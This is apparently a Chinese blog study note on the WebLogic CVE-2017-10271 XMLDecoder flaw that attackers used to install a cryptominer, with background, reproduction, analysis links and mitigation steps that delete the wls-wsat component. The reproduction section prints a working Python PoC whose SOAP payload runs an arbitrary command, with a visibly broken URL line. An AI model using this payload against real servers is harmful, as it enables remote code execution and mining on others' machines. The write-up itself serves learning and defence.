Weblogic 漏洞被利用挖矿

Weblogic漏洞被利用来挖矿,客户受到了影响。学习一下其中的原理。

背景

2017年12月中旬,安全研究者爆出未打补丁的WebLogic版本存在的漏洞,可能被watch-smarted挖矿恶意软件利用。

攻击者利用Weblogic WLS组件漏洞(CVE-2017-10271),构造payload下载并执行虚拟币挖矿程序,对Weblogic中间件主机进行攻击。

影响版本

漏洞复现

安装Webloginc

访问 7001端口

脚本弹计算器。就是一个请求,把其中的恶意代码写在了POSTxml里面。关键是其中的利用代码的编写。

#! -*- coding:utf-8 -*-
import requests

url = "http://127.0.0.1"7001/wls-wsat/CoordinatorPorType"
xml = '''
    <soapenv:Envelope     xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>
       <work:WorkContext    xmlns:work="http://bea.com/2004/06/soap/workarea/">
           <java      version="1.8" class="java.beans.XMLDecoder">
                <void     class="java.lang.ProcessBuilder">
                    <array    class="java.lang.String" length="3">
                        <void     index="0">
                            <string>calc</string>
                        </void>
                        <void     index="1">
                            <string>/c</string>
                        </void>
                        <void     index="2">
                            <string></string>
                        </void>
                    </array>
                <void     method="start"/></void>
           </java>
       </work:WorkContext>
   </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
'''
r =requests.post(url,headers={'Content-Type':'text/xml','Cache-Control':'no-cache'},data=xml)
print r.status_code

print r.text

抓包修改

挖矿分析

使用top命令查看CPU利用情况。

通过POC可以知道,在xml中的string标签的字符串为远程执行的命令内容。攻击者首先下载setup-watchshell脚本,其作用是下载并运行watch-smartd挖矿程序。

漏洞分析

找了两篇从代码层面的分析文章,学习一下其中的原理。

Weblogic XMLDecoder RCE分析

WebLogic WLS-WebServices组件反序列化漏洞分析

缓解措施

攻击者利用的是wls-wsat组件的CoordinatorPorType接口,若Weblogic服务器集群中应用此组件,建议临时备份后将此组件删除,并重启服务器。

根据自己服务器的实际路径,删除该组件

rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war 
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war 
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat 

重启Weblogic服务

参考

Weblogic WLS 组件漏洞

利用WebLogic 漏洞挖矿事件分析

Weblogic XMLDecoder RCE分析

WebLogic WLS-WebServices组件反序列化漏洞分析

利用服务器漏洞挖矿黑产案例分析